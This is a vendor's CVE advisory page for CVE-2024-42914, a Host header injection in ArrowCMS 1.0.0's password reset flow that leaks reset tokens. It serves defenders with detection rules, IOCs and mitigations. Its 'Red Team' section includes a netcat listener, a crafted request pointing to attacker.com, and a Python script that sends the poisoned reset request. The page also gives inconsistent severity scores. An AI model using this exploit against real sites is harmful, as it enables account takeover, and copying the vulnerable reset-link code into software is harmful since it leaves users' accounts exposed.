☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-42914

CVE-2024-42914 Host Header Injection in Arrowcms
📅 PUBLISHED: 2024-08-23 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.0.0
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-42914 is a Host Header Injection vulnerability in ArrowCMS version 1.0.0, specifically within the forgot password functionality. An attacker can craft a malicious HTTP Host header in a password reset request, causing the application to generate a password reset link that points to an attacker-controlled server. When the victim clicks this link, the password reset token is leaked to the attacker, enabling unauthorized password reset for other users. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the potential for account takeover. No patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ArrowCMS is a PHP-based content management system. The vulnerability exists in the core application code, not in a third-party package. However, if ArrowCMS is distributed via Composer or similar package managers, the risk extends to supply chain integrity. Users should verify the integrity of their ArrowCMS installation and monitor for any official patches or updates.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is performed remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click the malicious link.
  • Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
  • Confidentiality (C): High (H) – The password reset token is leaked.
  • Integrity (I): High (H) – An attacker can reset other users' passwords.
  • Availability (A): None (N) – No impact on availability.

CVSS Score: 8.1 (High)

Threat Level: High – Exploitation is straightforward and can lead to full account takeover.

Deep Dive & Mechanics

The vulnerability lies in the forgot password functionality of ArrowCMS. When a user requests a password reset, the application generates a unique token and sends an email containing a link to reset the password. The link typically includes the token and is constructed using the Host header from the incoming HTTP request.

The application does not validate or sanitize the Host header. An attacker can intercept or craft a request to the forgot password endpoint with a malicious Host header pointing to their own server (e.g., attacker.com). The application then generates a password reset link like http://attacker.com/reset?token=TOKEN_VALUE. When the victim clicks this link, the token is sent to the attacker's server, allowing the attacker to reset the victim's password.

Attack Flow:

  1. Attacker sends a POST request to /forgot-password with the victim's email and a malicious Host header.
  2. ArrowCMS generates a password reset token and sends an email to the victim with a link containing the attacker's domain.
  3. Victim clicks the link, which sends the token to the attacker's server.
  4. Attacker uses the token to reset the victim's password and gain unauthorized access.

Vulnerable vs. Patched Code

Vulnerable Code (ArrowCMS 1.0.0):

// In forgot_password.php
$host = $_SERVER['HTTP_HOST'];
$reset_link = "http://" . $host . "/reset?token=" . $token;
// Send email with $reset_link

Patched Code (Hypothetical):

// In forgot_password.php
$host = filter_var($_SERVER['HTTP_HOST'], FILTER_SANITIZE_URL);
if (!in_array($host, $allowed_hosts)) {
    die("Invalid host header");
}
$reset_link = "http://" . $host . "/reset?token=" . $token;
// Send email with $reset_link

The patched code validates the Host header against a whitelist of allowed domains and sanitizes the input to prevent injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • ArrowCMS 1.0.0 installed and accessible.
  • Attacker-controlled server with a public domain (e.g., attacker.com).
  • Ability to intercept or modify HTTP requests (e.g., using Burp Suite).

Exploitation Steps:

  1. Set up a listener on the attacker server to capture incoming requests (e.g., using nc -lvnp 80).
  2. Intercept a forgot password request to ArrowCMS.
  3. Modify the Host header to point to the attacker's domain:
    POST /forgot-password HTTP/1.1
    Host: attacker.com
    Content-Type: application/x-www-form-urlencoded
    email=victim@example.com
    
  4. Send the request. ArrowCMS will generate a password reset link with the attacker's domain.
  5. The victim receives an email with a link like http://attacker.com/reset?token=abc123.
  6. When the victim clicks the link, the token is sent to the attacker's server.
  7. The attacker captures the token and uses it to reset the victim's password.

Example Exploit Script (Python):

import requests

target = "http://victim-arrowcms.com/forgot-password"
attacker_domain = "attacker.com"
victim_email = "victim@example.com"

headers = {"Host": attacker_domain}
data = {"email": victim_email}

response = requests.post(target, headers=headers, data=data)
print("Password reset request sent. Token will be sent to attacker server.")

Blue Team

Detection:

  • Monitor for unusual Host headers in forgot password requests.
  • Log and alert on password reset emails containing external domains.
  • Implement strict validation of the Host header against a whitelist.

Mitigation:

  • Apply input validation and sanitization on the Host header.
  • Use a whitelist of allowed domains for generating reset links.
  • Implement CSRF tokens and rate limiting on forgot password endpoints.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /forgot-password with modified Host headers.
    • Outbound connections from ArrowCMS to attacker-controlled domains.
    • Password reset emails containing links to external domains.
  • File IOCs:

    • Log entries in ArrowCMS showing unusual Host header values.
    • Modified or suspicious entries in the password reset token database.
  • Behavioral IOCs:

    • Multiple password reset requests for the same user from different IPs.
    • Successful password resets followed by unusual account activity.

Detection Engineering

YARA Rule

rule CVE_2024_42914_Host_Header_Injection {
    meta:
        description = "Detects Host header injection in ArrowCMS forgot password requests"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-42914"
    strings:
        $s1 = "forgot-password" nocase
        $s2 = "HTTP_HOST" nocase
        $s3 = "reset?token=" nocase
    condition:
        all of them
}

Sigma Rule

title: Host Header Injection in ArrowCMS Forgot Password
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-42914 by injecting malicious Host headers
author: Valters IT
date: 2024-10-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/forgot-password'
        cs-host: 'attacker.com'  # Replace with known malicious domains
    condition: selection
falsepositives:
    - Legitimate use of external domains in Host header (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42914 - ArrowCMS Host Header Injection"; flow:to_server; content:"POST"; http_method; content:"/forgot-password"; http_uri; content:"Host|3a|"; http_header; pcre:"/Host:\s*[^\\r\\n]*attacker\.com/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Forgot Password Functionality: Temporarily disable the forgot password feature until a patch is available.
  2. Web Application Firewall (WAF) Rules: Deploy WAF rules to block requests with suspicious Host headers.
  3. Input Validation: Manually patch the code to validate the Host header against a whitelist of allowed domains.

Long-Term Fix:

  • Apply the official patch from ArrowCMS when released.
  • Implement a secure password reset mechanism that does not rely on the Host header.
  • Use HTTPS and HSTS to prevent downgrade attacks.

Workaround:

  • Configure the web server to reject requests with unexpected Host headers (e.g., using Apache's RewriteCond or Nginx's server_name).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ArrowCMS"
http.html:"ArrowCMS"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-42914/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.